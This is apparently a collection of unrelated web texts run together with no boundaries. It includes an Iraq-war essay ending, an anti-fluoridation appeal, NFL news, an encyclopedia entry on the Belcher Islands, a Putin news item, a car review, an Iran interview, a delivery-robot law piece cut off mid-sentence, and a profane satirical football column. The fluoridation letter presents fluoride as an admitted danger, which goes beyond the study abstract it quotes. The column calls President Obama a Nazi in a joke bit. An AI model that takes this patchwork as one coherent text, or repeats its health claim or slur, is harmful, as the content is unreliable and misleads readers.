Snow's argument is complicit with these precepts in another sense. For, in his account, it appears that fanaticism was an already present reflex in the region. Accordingly, the growth of sectarianism, violent death squads and a mounting body count in the new Iraq is not traced back to specific policies pursued under the occupation – such as the installation of sectarian Shia groups into the state security apparatuses, the creation of the brutal Special Police Commandos, the construction of a corrupt, patrimonial state and the defilement of cities from Fallujah to Tal Afar. At worst, the invasion removed the lid on an already boiling cauldron of violence and rage and failed to put it back on.
As Alberto Toscano has shown, this trope of fanaticism has been a central motif of counter-democratic and imperialist ideology since the French revolution. Particularly, the notion that "native fanaticism" explains the turbulence of populations subject to imperial rule can be traced back to Britain's subjection of India, Egypt and Iraq. It was in these frontiers of empire that the idea of benign dictatorship for such apparently benighted peoples – "grandmotherly tyranny" as the Fabians liked to call it – was minted. And it was in the September-Erlebnis of 2001 – the rush to war – and its prolonged aftermath that the ancient thought categories of empire were ardently rehabilitated, helped along by orientalists and elite thinkers such as Bernard Lewis, Samuel Huntington and Robert Kaplan. The proof of the power of these ideas is that much of the opposition expresses itself in their terms.
The real problem with this ideology, then, is not its excessively sanguine faith in the masses, but its utter distrust of democracy. The problem with the invasion of Iraq is not that it removed a tyranny but that it was an act of tyranny; not that it freed the wrong people, but that it denied them their chance of becoming free. Iraq needed its Tahrir moment. What it got was Falluja – and now Mosul.Durham Citizens,
The Williams water treatment plant that supplies the city of Durham with your tap water spends over $100,000 of YOUR money adding an admitted dangerous substance to the drinking water. Ironically, the city of Durham’s own Duke University in cooperation with Professor Brian A. Burt conducted a study when this writer was living in Durham at the age of 4-5 years. The study involved the city turning off public water fluoridation for a period of 11 months during 1990-1991, whilst observing the incisor changes in over 1800 K-5 aged children in Durham, NC. The study concluded no increase in dental cavities (the very claimed benefit of fluoridation), but a decrease in fluorosis – the Center for Disease Control’s admitted malady to fluoridating public water supplies.
Source: http://www.ncbi.nlm.nih.gov/pubmed/10728978
ABSTRACT
Durham, NC, fluoridated since 1962, had an 11-month cessation of fluoridation between September, 1990, and August, 1991. The purpose of this study was to assess the effects of this break on the development of caries and fluorosis in children. Study participants were continuously-resident children in Kindergarten through Grade 5 in Durham’s elementary schools. There were 1696 children, 81.4% of those eligible, for whom a questionnaire was completed and clinical data recorded. Age cohorts were defined by a child’s age at the time that fluoridation ceased. Caries was recorded in children in the Birth Cohort through Cohort 3, and fluorosis for children in Cohorts 1 through 5. Caries was assessed in the primary first and second molars according to the decayed-filled index; fluorosis on the labial surfaces of the upper permanent central and lateral incisors was assessed by the Thylstrup-Fejerskov (TF) index. Mother’s education was associated with caries; higher education of the mother had an odds ratio of 0.53 (95% CI 0.40, 0.76) for caries in the child. No cohort effects could be discerned for caries. Overall prevalence of fluorosis was 44%. Prevalence in Cohorts 1, 2, 3, 4, and 5 was 39.8%, 32.3%, 33.0%, 62.3%, and 57.1%, respectively. These cohort differences remained statistically significant in regression analysis. It was concluded that while the break had little effect on caries, dental fluorosis is sensitive to even small changes in fluoride exposure from drinking water, and this sensitivity is greater at 1 to 3 years of age than at 4 or 5 years.
This incredible hipocrisy and public health danger should be stopped as soon as possible! Spread the video and the study to all mindful citizens!
Get Involved – [email protected]
AdvertisementsOWINGS MILLS, Md. -- Miami Dolphins linebacker Kiko Alonso texted Joe Flacco the next day to apologize to the Baltimore Ravens quarterback for the hit that caused a concussion, according to former Baltimore tight end Dennis Pitta.
"That's not the type of player (Kiko) is," Pitta told WBAL Radio in Baltimore on Monday.
Pitta, who learned of Alonso's text from Flacco, added that they've played against Alonso a couple of times without any issues and practiced against him in joint workouts with the Philadelphia Eagles in 2015.
In Thursday's 40-0 rout by the Ravens, Alonso hit a sliding Flacco in the head in the second quarter, leaving the 10-year veteran dazed and bloodied.
The hit on Joe Flacco was Alonso's first penalty of the season. He was penalized only twice last season.
"I thought that was a very vicious type of a hit," coach John Harbaugh said Monday. "He was definitely defenseless and couldn’t protect himself. Therefore, he got his ear sliced open and he got hit in the head. You never minimize that."
The Ravens haven't heard form the NFL whether Alonso has been suspended or fined.
"It really is not a concern of ours right now, in all frankness," Harbaugh said. "It is not going to impact our game against the Titans."The Belcher Islands (Inuit: Sanikiluaq)[1] are an archipelago in the southeast part of Hudson Bay. The Belcher Islands are spread out over almost 3,000 square kilometres (1,160 sq mi). Administratively, they belong to the Qikiqtaaluk Region of the territory of Nunavut, Canada. The hamlet of Sanikiluaq (where the majority of the archipelago's inhabitants live) is on the north coast of Flaherty Island and is the southernmost in Nunavut. Along with Flaherty Island, the other large islands are Kugong Island, Tukarak Island, and Innetalling Island.[2] Other main islands in the 1,500–island archipelago are Moore Island, Wiegand Island, Split Island, Snape Island and Mavor Island, while island groups include the Sleeper Islands, King George Islands, and Bakers Dozen Islands.[3]
History [ edit ]
Landsat satellite photo of Belcher Islands
Before 1914, English-speaking cartographers knew very little about the Belcher Islands, which they showed on maps as specks, much smaller than their true extent. In that year a map showing them, drawn by George Weetaltuk,[4] came into the hands of Robert Flaherty, and cartographers began to represent them more accurately.[5] The islands are named for Royal Navy Admiral Sir Edward Belcher (1799-1877).
In 1941, a religious movement led by Charley Ouyerack, Peter Sala and his sister Mina, caused the death by blows or exposure of nine persons.[6][7]
Geology [ edit ]
Folded Proterozoic dolomites in the Belcher (Sanikiluaq) Islands
Thin-bedded Proterozoic sediments near Sanikiluaq hamlet. These rocks are about 2 billion years old. Width of bottom of photo is about 5 meters.
The geologic units of the Belcher Islands are Proterozoic. The exposed clastic sedimentary rocks, as well as volcanic and carbonate units record rifting and subsidence of the Superior craton during this period. There are two main volcanic sequences on the Belcher Islands called the Eskimo and overlying Flaherty volcanics. These volcanics form part of the Circum-Superior Belt.
Flora [ edit ]
Several species of willow (Salix) form a large component of the native small shrubbery on the archipelago. These include rock willow (Salix vestita), bog willow (S. pedicellaris), and Labrador willow (S. argyrocarpa), as well as naturally occurring hybrids between S. arctica and S. glauca.[8] Other than in valley regions, trees cannot grow on the islands because of a lack of adequate soil.[9]
Fauna [ edit ]
The main wildlife consists of belugas, walrus, caribou, common eiders and snowy owls all of which can be seen on the island year round. There is also a wide variety of fish that can be caught such as Arctic char, cod, capelin, lump fish, and sculpin.[10] The historical relationship between the Sanikiluaq community and the eider is the subject of a feature length Canadian documentary film called People of a Feather. The director, cinematographer and biologist Joel Heath spent seven years on the project, writing biological articles on the eider.[11][12]
In 1998 the Belcher Island caribou (Rangifer tarandus groenlandicus) herd numbered 800.[13]
References [ edit ]
Further reading [ edit ]ST. PETERSBURG, Russia — Russian President Vladimir Putin says he wants to work with Canada’s new Liberal government to improve relations, but he won’t say how.
Putin said Friday relations between Canada and Russia have a chance to be re-established after the new prime minister came to power, as he recalled meeting Justin Trudeau at last fall’s G20 summit in Turkey.
“For this there should be some specific steps, which should be made by both sides,” Putin said in response to a question on the state of Russia-Canada relations from The Canadian Press at an international gathering of the leaders of world news agencies in St. Petersburg, Russia.
But the enigmatic Russian leader wouldn’t say what those next steps would be.
“The prime minister himself said when we were at G20 in Antalya that he thinks how we should re-establish the relations in full. We welcome this... and will get down to this task, to work together.”
Trudeau’s version of his conversation with Putin at the G20 summit — the prime minister’s first international meeting after being sworn in — did not mention establishing full relations with Russia.
At the time, Trudeau said: “I pointed out that although Canada has shifted its approach on a broad range of multilateral and international issues, we remain committed to the fact that Russia’s interference in Ukraine must cease.”
The previous Harper government downgraded relations with Russia in the wake of its unilateral annexation of Ukraine’s Crimean Peninsula in 2014 and its backing of pro-Russian separatist forces in eastern Ukraine. At the 2014 G20 summit in Australia, then prime minister Stephen Harper told Putin to “get out” of Ukraine when he bumped into the Russia leader.
The Liberals maintain that Canada needs to open a diplomatic dialogue with Russia because of shared interests, such as the Arctic, but that doesn’t mean it agrees with Putin’s aggressive posture towards Eastern Europe.
In recent days, NATO has taken steps to bolster its forces on its eastern flank in response to the Ukraine crisis by deciding to deploy four multinational battalions to Estonia, Latvia, Lithuania and Poland. The Russian ambassador to NATO criticized that move on Thursday, saying the plan would erode regional security and could turn the region into a conflict zone.
Putin deflected a question from The Canadian Press about possible Canadian participation in those deployments, and instead launched into a lengthy denunciation of the United States for deploying its ground-based missile system in Poland. Putin reiterated the Russian position that missile shields are a threat because they upset the nuclear deterrent that has kept peace between the two nuclear powers throughout the Cold War and afterwards.
“The strategic balance used to guarantee peace in the world. It saved us from major armed conflicts in the past 70 years. It’s based on a mutual threat, but this mutual threat has given us global peace for decades. How can we destroy this?”
On that point, Putin added a message for Canada — which has not joined any U.S. missile defence program.
“If Canada wants to join — join it! What else can I say? We could not dictate to you what to do. Do what you want. And we will do what we think is necessary to provide our security.”Review: 2013 Nissan Altima 2.5 SV
Aug 22, 2012, 11:45am ET
by Mark Elias
Nissan's all-new Altima sets the pace, at least as far as fuel economy is concerned. Is it impressive otherwise? We find out.
In car buying, as in politics, people tend to follow their wallets. Truly a point not lost on Nissan, the fast-moving Japanese automaker has updated its Altima for 2013 with a trim level for virtually every taste and bankbook, especially those who don't like visiting gas pumps.
Our 2.5 SV tester is just one of those trim levels, but the biggest news is a 38 mpg benchmark bound to leave a few more shekels lingering behind in the pocket. Will that be enough to leave a smile on the owner's face?
Now entering the third decade of its storied life, the latest Altima has evolved, but is it enough to wrestle away sales from its competitive base, which is now larger and feistier than ever?
What is it?
Five generations in, we find the 2013 Altima cut, sculpted and refined, not to mention decidedly more upscale than its predecessor, but without becoming bloated and overbuilt. Part of Nissan's D-platform lineup, at just over 191 inches, it is nearly the same size as Nissan's flagship Maxima a decade ago. Through the use of high-tensile steel, aluminum panels and cross-members, the Altima now weighs in at 3,121 lbs. which is about 80 lbs. lighter than last year.
Technically, a mid-sized five-passenger sedan, it pushes boundaries set by the upstarts from Korea and the more-established competition from Japan. With less being more, our Altima 2.5 SV is equipped with an updated version of the automaker's 2.5-liter inline four-cylinder engine. Now making 182 horsepower at 6,000 rpm, and 180 lb-ft of torque at 4,000 rpm, it is much more efficient than the engine it replaces. Nissan eschewed higher-tech direct-injection fueling system en vogue with so many competitors in favor of the lowered cost of "mere" multi-port fuel injection. Still, they must have done something right to squeeze 27/38 miles out of a gallon of fuel.
The 2.5-liter-powered Altima can be had in four trim levels; our mid-level SV represents the heart of the market.
For power users, the Altima remains available with a 3.5-liter V6 making 270 ponies and 251 lb-ft of torque. Still, an improved CVT is the only gearbox available regardless of mill. With 70 percent of its guts new, and 40 percent less internal friction, we have high hopes for this simulated slusher.
What's it up against?
Originally, the Altima competed as a compact offering, but it eventually stepped up to the adult table, where the mid-size offerings hold court. And what a crowded table it has become:
The soon to be available 2013 Honda Accord, with its slightly new style, will lead the pack of obvious competitors. Running neck-and-neck will be the all-new Ford Fusion, plus the Hyundai Sonata, Kia Optima, Toyota Camry and Volkswagen Passat, which continue on with minor changes. Add in the Subaru Legacy and the soon-to-be-updated Mazda Mazda6 and you have the makings of a full shopping list.
How does it look?
Clearly derivative of the outgoing Altima and the Maxima, the styling has evolved and even expanded to accommodate a larger interior. Overall length is extended by to 191.5 inches, while width grows by two more. Surprisingly, the 109.3 inch wheelbase remains the same.
The end result is a design that moves the car in an upmarket direction. The Altim's beltline has moved upward as well, extending the fullness of the side doors, while the eyebrows over the wheels have become smaller and more sophisticated. Squint a bit and you might even channel an Infiniti M.
A frontal remake features headlights that push the entire grille outward to appear wider than the two-inch growth would indicate. The rear is more expressive favoring the family with the use of boomerang-inspired taillights inspired by those on the 370Z. Finally, bold chrome on the front, sides and rear, lend an upscale sensibility that others in the segment, including last year's model, lack.
And on the inside?
Genius in packaging. Nissan has amazed us by sculpting out a larger interior within the same footprint of the last version of this car. Regardless, everything fit inside, including the four other passengers we delivered during recent summer vacations. Loaded with legroom, the rear seats seemingly sat higher, as well, for a clear view forward.
Nissan went space age from a value-added standpoint, utilizing technology from NASA that resulted in "zero gravity" front seats. They claim a reduced load on the spine, pelvis and muscles for less "front seat fatigue" that comes from extended stints behind the wheel. We're not sure what goes into the articulation of the seats, but we definitely liked the results.
A two-gauge binnacle with an extra display kept us informed of the car's functions. Customizable, it displayed audio, turn-by-turn navigation, trip and tire pressure readouts, and even allowed you to change the vehicle icon color to that of your own car. It did make for a quick - and safer- reference point that was better than shifting our attention towards the centerstack.
Our Altima also came with optional Navigation and Convenience packages and the fixings that come with both, including a backup camera display, for a definitive push into the big leagues.
Score.
Had it been equipped with leather, we think a quick change of logos would have been all that was needed to make this well-outfitted interior feel right at home in an Infiniti G37 sedan.
But does it go?
With a 2.5-liter four-cylinder engine, you'd think this SV would have its work cut out for itself. That four-banger is going to feel every bit of the Altima if its 182 horses don't step up.
Thankfully, they do.
In its standard setting, the four-cylinder and CVT made for nice, leisurely startups that wouldn't have Aunt Millie's wig shifting around after takeoff. Nissan figured a way to put the mill on an 11 lbs. diet while adding variable valve timing. At the same time, engineers revised the CVT for smoother operation and less friction.
Switching over to Sport mode remaps the shift points to hold preset "gears" longer for a zippier feel that we haven't seen in a CVT before. It is a true testament to Nissan's 20 years of expertise with cog-less gearboxes that other manufacturers are only just starting to explore. And, yes, we would like to see paddles in this car, too. Why should V6 owners have all the fun?
Heavy acceleration did produce a rumble from underhood, as well as the telltale escalating pitch of the CVT and the fast-moving tachometer needle, but Nissan's NVH engineers did a good job of preventing most of it from intruding into the cockpit.
Handling is top-shelf, due to several factors including the ZF Sachs dampers and active understeer control, which applies light braking to the inside drive wheel during hard cornering for a pseudo torque-ectoring feel. Altima's ride quality is a cross between firm and comfortable that will not disrupt a large cup of joe in the cupholder. At the same time, it won't make you think you're ready for a qualifying lap at Road America, either.
A stiff structure combines with MacPherson front struts and a multi-link independent rear suspension and electric power steering for a firm and confident feel at speed and especially during a lane change avoidance maneuver. Although a slight bit of side-to-side wallow crept in, the Altima remained composed and allowed us to correct and continue on our way. It's just as we would expect from a well-tuned midsized four-door, five-passenger sedan.
Squeezing the inside front brake in a turn, the active understeer control caused an almost imperceptible slowing of the inside wheel which accelerated the yaw factor to help the car turn inward faster. In short, the Altima feels remarkably nimble when pushed. Meanwhile, the CVT did its part for a quick exit with its brake downshift that artificially downshifts the tranny when we applied the brakes in the middle of a turn.
For a midsize family sedan, the Altima is significantly more composed than most buyers might even realize.
Why you would buy it:
You tend to throw your money after companies who still have a passion for building good cars.
Why you wouldn't:
Cars, washing machines, refrigerators"¦ what's the difference?
Leftlane's bottom line
Nissan sweats the details with styling, interiors and features, and even pays attention to the lowliest of engines that power the new 2013 Altima.
The result is a sedan that looks and feels like it should cost thousands more. That's absolutely a win in this competitive segment.
2013 Nissan Altima 2.5 SV base price, $24,100. As tested, $26,950.
Convenient Package, $1,350; Navigation Package, $590; Floor mats, $130; Destination, $780.
Words and photos by Mark Elias.Special By By Paul Iddon Jun 21, 2014 in Politics Iran has been an essential country to follow in the last few months and years. With ongoing negotiations about its nuclear program and Iran's increasing involvement in the Middle East region this seems truer now than it has been for quite some time. His pieces can be read on He was kind enough to discuss these matters with me. i) First of all could you tell us a little bit about yourself and your background? I am originally from the Islamic Republic of Iran and Syria. Currently, I am a US citizen. I am a Harvard scholar, I serve on the board of Harvard International Review and president of the International American Council on the Middle East. ii) There has been considerable hype over the ongoing nuclear negotiations brokered between Tehran and Washington last year. As an Iranian-Syrian yourself do you think Obama administration and the international community in general were right not to even broach the issue of human rights violations in Iran with their Iranian negotiating partners? Geo-politically, strategically, and economically speaking, I believe that the international community and Obama's administration hold the view that human rights issue would have complicated the nuclear negotiations or scuttled the whole process. Secondly, human rights are not on the top of US or other Western countries' foreign policy agenda toward the Islamic Republic. Their national and economic interests precede the situation of human rights in Iran (take Saudi-West relations as another example). In addition, the flow of oil and stability of oil market are more paramount for Obama's administration and the international community than human rights. From my perspective, human rights should have been included in the nuclear negotiations. Iranian President Hassan Rouhani, pictured during a meeting in Tehran, on June 15, 2014 Atta Kenare, AFP iii) Furthermore do you feel the possibility of U.S./Iran cooperation against ISIS in Iraq is mostly speculation or a real possibility? As you know such cooperation wouldn't be unprecedented when one takes into account the military cooperation between Tehran and Washington undertook against the Taliban in Herat Afghanistan back in 2001. It is possible. However, there is significant pressure from US congress and influential players in Washington that US should not cooperate with Iran and IRGC [Islamic Republic Guard Corps]. They believe Iran will be emboldened and would gain legitimacy by this move and it would be more assertive in pursuing its regional hegemonic ambitions. iv) Would you say the present aforementioned crisis in Iraq could pose a strategic hindrance to broader Iranian interests in the region such as its continued support for the regime of Bashar al-Assad in Syria and the Hezbollah party and militia in Lebanon? In a long-term, the Islamic Republic's popularity in the Arab population, particularly among the Sunni faction, will be significantly impacted. Strategically speaking, Iran views Syria as a zero-sum game, meaning that Assad has to stay in power, otherwise Tehran's regional influence will be fundamentally affected. So far, Iran is still prevailing in Syria, but this might change in a long-term. Iraqis living in Iran hold posters bearing portraits of Grand Ayatollah Ali al-Sistani (left) and Iranian supreme leader Ayatollah Ali Khamenei (right) at a rally in Tehran on June 20, 2014 Atta Kenare, AFP v) Do you suspect that the drastically differing views held on the role the Shiite clergy should play in the political process between the Supreme Leader of Iran Ayatollah Ali Khamenei and the Grand Ayatollah Ali al-Sistani of Iraq will become more important and more pressingly relevant to developments in both Iran and Iraq in the next few years? Actually, the Supreme Leader, Ayatollah Khamenei has isolated some powerful clerics in the city of Qum. He's excluded them from being members of his Office of the Supreme Leader. He views them as a challenge to his religious and divine power. On the other hand, generally speaking, Ayatollah Ali Sistani is less engaged in politics. To some extent, he believes in separation of mosque and state. But, Ayatollah Khamenei does not see any separation between politics and religion. He is the divine leader and commander in chief of IRGC simultaneously. vi) And finally, do you think a complete rapprochement and restoration of relations between the United States and the regime in Iran would be a positive development for the world? I don't believe so. The reason I am saying this is that the underlying and major tension between the US and Islamic Republic is not the nuclear issue. Even if a final nuclear deal is reached, tensions will continue. The underlying tension is Iran's stance toward Israel and its regional policies. Majid Rafizadeh is a political scientist who has been following the Iranian situation for quite some time. He has closely analyzed in his numerous writings and columns the Iranian human rights situation and its role in the region in relation to its strong support of Bashar al-Assad's regime in Syria and the Hezbollah organization in Lebanon.His pieces can be read on Al Arabiya and The Huffington Post and he can be followed on Twitter @majidrafizadeh He was kind enough to discuss these matters with me.I am originally from the Islamic Republic of Iran and Syria. Currently, I am a US citizen. I am a Harvard scholar, I serve on the board of Harvard International Review and president of the International American Council on the Middle East.Geo-politically, strategically, and economically speaking, I believe that the international community and Obama's administration hold the view that human rights issue would have complicated the nuclear negotiations or scuttled the whole process.Secondly, human rights are not on the top of US or other Western countries' foreign policy agenda toward the Islamic Republic. Their national and economic interests precede the situation of human rights in Iran (take Saudi-West relations as another example).In addition, the flow of oil and stability of oil market are more paramount for Obama's administration and the international community than human rights. From my perspective, human rights should have been included in the nuclear negotiations.It is possible. However, there is significant pressure from US congress and influential players in Washington that US should not cooperate with Iran and IRGC [Islamic Republic Guard Corps]. They believe Iran will be emboldened and would gain legitimacy by this move and it would be more assertive in pursuing its regional hegemonic ambitions.In a long-term, the Islamic Republic's popularity in the Arab population, particularly among the Sunni faction, will be significantly impacted. Strategically speaking, Iran views Syria as a zero-sum game, meaning that Assad has to stay in power, otherwise Tehran's regional influence will be fundamentally affected. So far, Iran is still prevailing in Syria, but this might change in a long-term.Actually, the Supreme Leader, Ayatollah Khamenei has isolated some powerful clerics in the city of Qum. He's excluded them from being members of his Office of the Supreme Leader. He views them as a challenge to his religious and divine power. On the other hand, generally speaking, Ayatollah Ali Sistani is less engaged in politics. To some extent, he believes in separation of mosque and state. But, Ayatollah Khamenei does not see any separation between politics and religion. He is the divine leader and commander in chief of IRGC simultaneously.I don't believe so. The reason I am saying this is that the underlying and major tension between the US and Islamic Republic is not the nuclear issue. Even if a final nuclear deal is reached, tensions will continue. The underlying tension is Iran's stance toward Israel and its regional policies. More about Iran, Syria, Iraq, Majid Rafizadeh, Iran nuclear talks Iran Syria Iraq Majid Rafizadeh Iran nuclear talks Ali khamenei Ayatollah Sistani IrgcShare
Four hundred years ago, it was home to the first permanently settled English colony in the New World and now, it is home to the first legal delivery robots. That’s right — Virginia has passed landmark legislation that will allow delivery robots like those from Starship Technologies make moves on sidewalks and crosswalks throughout the state. The law will go into effect on July 1 just in time for you to get your independence day festivity needs delivered by a rolling bot.
Virginia congressmen Ron Villanueva and Bill DeSteph worked with Starship Technologies to draft the bill, which will certainly benefit the Estonian robotics company as it pushes to bring its bots to the masses. Indeed, Starship has been trying to make moves in the U.S. for quite some time now, recently announcing a pilot program with Postmates and DoorDash that would employ their mechanical fleet to make deliveries. In this program, however, the robots wouldn’t be entirely autonomous, as a human operator would still oversee their general movements.
The Virginian law, however, allows robots to move completely on their own.
Of course, a number of limitations have been put in place to ensure that self-driving robots aren’t barreling over pedestrians in Virginia — for example, robots can only go up to 10 miles per hour and cannot weigh more than 50 pounds. And while a human does not have to keep a physical eye on the situation, he or she will need to be able to remotely monitor the bot and intervene should something go wrong.
And local governments within the state will be able to determine exactly how the robots can operate. If, for some reason, a municipality wants to keep the bots out altogether, that will be their decision to make. However, it doesn’t seem as though that will present a problem. “There wasn’t push back [from legislators],” Villanueva said in an interview with Recode. “It was more like intrigue and curiosity about the technology, what the application would be, how it would |
iano a lot, he has no issue glossing over amazing shit when it happens. "And there you have it, a fourth-down Statue of Liberty play that is fumbled into the end zone and recovered by an escaped monkey. Let's go full screen on Titans-Dolphins now."
Also, I don't give a shit what channel that game is on that RZC is currently showing. "You can watch ALL of this Rams game on Channel 713!" Motherfucker, if I wanted to watch that game in full, I wouldn't be here. I have a program guide, you know.
Raiders at Falcons: I don't know why defenders don't get credit for a sack when intentional grounding is called. That's a SACK. The spot foul and loss of down essentially announces to everyone, "This person was sacked." It should count, if only so we can finally get Michael Strahan's bullshit record off the books.
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Bills at Cardinals: I have a six-month-old baby and the baby was in the NICU for a month after he was born. And when he was discharged, he had to go see an eye doctor, as a kind of routine checkup. But the eye doctor in question was a piece of shit, so we called another eye doctor for a followup appointment. And that eye doctor told us that they couldn't take our son as a patient because the other, shitty eye doctor had an exclusive agreement with the hospital that FORBID patients from using any other eye doctor in the area. THAT'S BULLSHIT! You call this America? I'm supposed to be able to see any doctor I want and have that doctor charge me a 700 percent markup. THIS IS NOT FREEDOM. I demand the entire American health care system be completely overhauled to suit my personal needs.
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One Throwgasm
Steelers at Titans: I watched the Titans last week and Matt Hasselbeck is done. He's done two ways: braised and in a lovely carpaccio. He shouldn't be employed by an NFL team anymore. He needs to be remanded to the eighth tier of NFL Live analysts, the ones that pop up at 3 a.m. on ESPNEWS and you're like, "Who, hey, Qadry Ismail? He has a job?"
By the way, I wonder if an announcer will ever say DERP on the air. Surely, there's a brave soul out there willing to call out, "There's Matt Hasselbeck rolling and A HERP DERP DERP." Whoever breaks the DERP barrier will instantly be the greatest announcer of all time.
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Chiefs at Bucs: Think about how desperate you have to be to cheer for Matt Cassel's injury when you know his replacement is Brady Quinn. It's not like there's some cool third-round rookie waiting behind Cassel. It's Brady Quinn. You're trading SHIT for SHIT. "If you starvin'... and somebody throw you a cracka..."
Pregame Song That Makes Me Want To Run Through A Goddamn Brick Wall
"The Enigma of Fate," by Martriden. Bonus points for the naked-lady album cover. Is it wrong to have a fetish for comic-book drawings of big-breasted women? Because it doesn't FEEL wrong. Reader John:
I roomed with the lead singer of this band back in college. As much as I loved rock I had never listened to anything this heavy in my life. But this CD, and this song in particular make me want to fucking bury everyone in a ten-mile radius if I'm in a bad mood.
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And again, naked lady.
Nazi Bill Simmons Lock of the Week!
Lots of sports sites, to demonstrate the arbitrary nature of gambling, like to have animals and random celebrities pick games to see if they can outwit their expert counterparts. There's no reason we at Deadspin can't also get in on the fun. So we've asked a fictionalized, Nazi version of popular sportswriter Bill Simmons to pick one game a week for us. Take it away, Nazi Simmons.
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"This week, I like the Ravens giving 3.5 points at home against the Cowboys. A lot of people say the late Jeff Hall was a rising star in neo-Nazi circles. Please. NOT A STAR. Haven't we spent the past decade emphatically proving that he's NOT a star? When you're talking to your grandkids about all the great Nazis in history, you're not gonna mention Jeff Hall. He's a Level 4 guy in my Nazi Hall of Fame pyramid at best. He certainly doesn't go up on Mount Nazimore. That's Himmler, Goebbels, Hitler, and President Obama. NO ONE DENIES THIS.
"In fact, I'd argue that Obama is the only star Nazi we have left in the world today. No less an authority than William Goldman agrees with me. "
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2012 Nazi Simmons record: 2-2
Chris Johnson Memorial Fantasy Player Who Deserves To Die A Slow, Painful Death
Cam Newton. Jesus Christ, what the fuck? WHO ARE YOU? What have you done with the real Cam Newton? Are you telling me that your career is already over? What a load of shit. Entertainer and icon my ass.
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Gregg Easterbrook Is A Haughty Dipshit
Oh, Greggg has many things about which to wax wroth this week. Will the zinc lobby ever release its iron grip on our nation? Will BIG BUCKS players with their BIG BUCKS AND NO WHAMMIES ruin football for good?
What is Minnesota's secret? The Vikings threw out complex schemes and went simple.
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Or they had a really good draft class. But go on.
The Vikings employ 22 coaches, most in the NFL. Having 22 coaches sounds like having five girlfriends — way too many to juggle.
Never a problem you've had, to be certain.
In sports, the more coaches, the more schemes and the more egos that must be mollified. Maybe teams should just line up and play!
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But you just praised the Vikings for keeping things simple. I DEMAND THE FOOTBALL GODS WAX WROTH AT YOUR INCONSISTENCY.
Nearly all teams now use multiple checks, "sims" and audibles at the line of scrimmage. [...] Yet for all this complexity, game statistics have changed only a little in the last half century.
TMQ one week ago:
For a generation, the football establishment has been tweaking rules to favor offense. Maybe the pendulum has swung too far and it's time to tweak rules to favor defense. [...] The NFL scoring average is now 23.7 points per team per game, up from 21.7 a decade ago, from 18.7 two decades ago, and the highest average ever.
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WHICH IS IT, DAMN YOU? I've seen bigger logic holes in Taken, I have!
San Diego leading 7-0, New Orleans faced third-and-6 on the Bolts' 40. Devery Henderson, split right, ran an out-and-up. Highly drafted cornerback Quentin Jammer bit so badly, he'll need to see a dentist. Highly drafted Eric Weddle, the safety on that side, bit so badly on a middle fake that he will need new cleats, since his appeared glued to the turf.
CONCLUSION: Highly drafted players are useless. Weddle and Jammer bit on those fakes because they are paid too much and are therefore horrible, lazy people. Why not simplify your team by adding 60 undrafted tight ends and seeing where that gets you?
Score Giants 34, Browns 17, Cleveland faced fourth-and-3 on the Jersey/A 23 late in the third quarter. Don't send in the placekicker! As the very sour field goal attempt boomed, TMQ wrote the words "game over" in his notebook.
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Reader Andy: "There have to be games where Easterbrook has written 'game over' in his notebook and the kicking team ended up winning in the end anyway. Of course, he could just be making it all up and simply attaching his pre-conceived narrative to events that fit it. But a writer for the ATLANTIC would never do that!"
Of course not. Never. I wonder what Greggggggg's notebook looks like. I bet it has random bible quotes and stray pubes inside it.
Oh by the way, Gregg wrote a thousand words about Battleship this week.
Needless to say, Hollywood blockbusters do not aspire to realism. But the opening scene of "Battleship" raises a question that needs debate.
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Peter Berg: "It does?"
Now that the Kepler probe, launched in 2009 and designed to detect other worlds, has begun discovering "exoplanets" in great numbers, it seems only a matter of time until an Earth-like place is located. When that time comes, should we send a message?
Indeed, a question worth debating. If there are aliens out there, should we try to make first contact with them? But what if they're all first-round draft picks? I think it's best not to explore the most important potential discovery in human history. I don't want to be friends with some GLORY BOY exoplanet.
Imagine the import of an alien to answer the yes-or-no question, "Does your society believe in God?"
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ARE YOU FUCKING JOKING? We just hypothetically discovered aliens, and that's what you want to ask them about? "Oh, hey, aliens! Listen, I'm sure you guys can tell us all kinds of cool shit, like how you evolved and what your home planet looks like and how your bodies work physiologically. But first I NEED YOU TO VALIDATE MY FAITH. IT'S THE MOST IMPORTANT PART OF THIS WHOLE THING." Jesus. They can't even speak English, you dummy.
Whether humanity should attempt to contact another Earth-like world is a debate worth having.
What debate?! "Whether or not oxygen is good for us is a debate worth having."
As for the Houston offense, it continues to be a shame that tight end Owen Daniels was not named Godfrey Daniels. That way announcers could cry, "Godfrey Daniels, he's open!"
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O HAHAHA GOOD ONE. I hope the aliens get that joke. Otherwise, it's totally not worth reaching out to them.
Kansas City put tight end Kevin Boss on injured reserve last week after he suffered his third severe concussion in four seasons. A generation ago, coaches would have told Boss to get back on the field. If his NFL days are over, he'll be sad — but better to walk away under his own power.
Concussions, solved! Meanwhile, Skins wideout Aldrick Robinson returned to the field a week after being knocked out for a full minute. Kudos to Gregg for supporting the Heads Up Football whitewashing initiative.
Musicians of the Chicago Symphony Orchestra briefly went on strike last month, outraged by a contract offer of a minimum of $145,000 annually.
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That is disgusting! We should replace these GLORY OBOISTS with a group of replacement winos who get every third note wrong. Then we should give them dibs on the first violin chair when it comes open.
Last week, Tuesday Morning Quarterback opined that it was time for defenses to assert themselves. This week, five NFL teams were held without touchdowns.
GREGGGG MADE THAT HAPPEN. No need to ask the aliens if they believe in God. We can just show them a picture of Greggggg and they'll nod fervently.
Trailing Miami 17-13, Cincinnati faced fourth-and-5 on the Dolphins 23 with three minutes remaining. Don't send in the placekicker! After a field goal you'd still need to score again! As the kick boomed, TMQ wrote the words "game over" in his notebook.
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There's that notebook again.
Sharing my outrage, the football gods pushed the attempt wide.
THE GODS DO MY BIDDING! I AM KING OF THE POPES OF THE GODS.
The Seahawks are allowing just 14 points per game, with corner Brandon Browner, who went undrafted then played five seasons for the Calgary Stampeders, becoming a TMQ favorite.
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Could a team of 22 Brandon Browners win six straight Super Bowls? This is a debate worth having.
Suicide Pick Of The Week
Last week's picks of the Giants, Cincinnati, Chicago went 2-1, putting me at 9-6 for the season. Again we pick three teams for your suicide pool and something that makes you want to commit suicide. This week, the picks are Atlanta, Tampa Bay, Pittsburgh, and watching your fantasy player fumble into the end zone. The dreaded eight-point swing. God, that's horrible to watch. YOU HEAR ME, MIKE VICK? WHAT ARE YOU, A FUCKING AMPUTEE? HOLD ONTO THE BALL.
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Great Moments In Bat Killing History
Reader Dusty sends in this story:
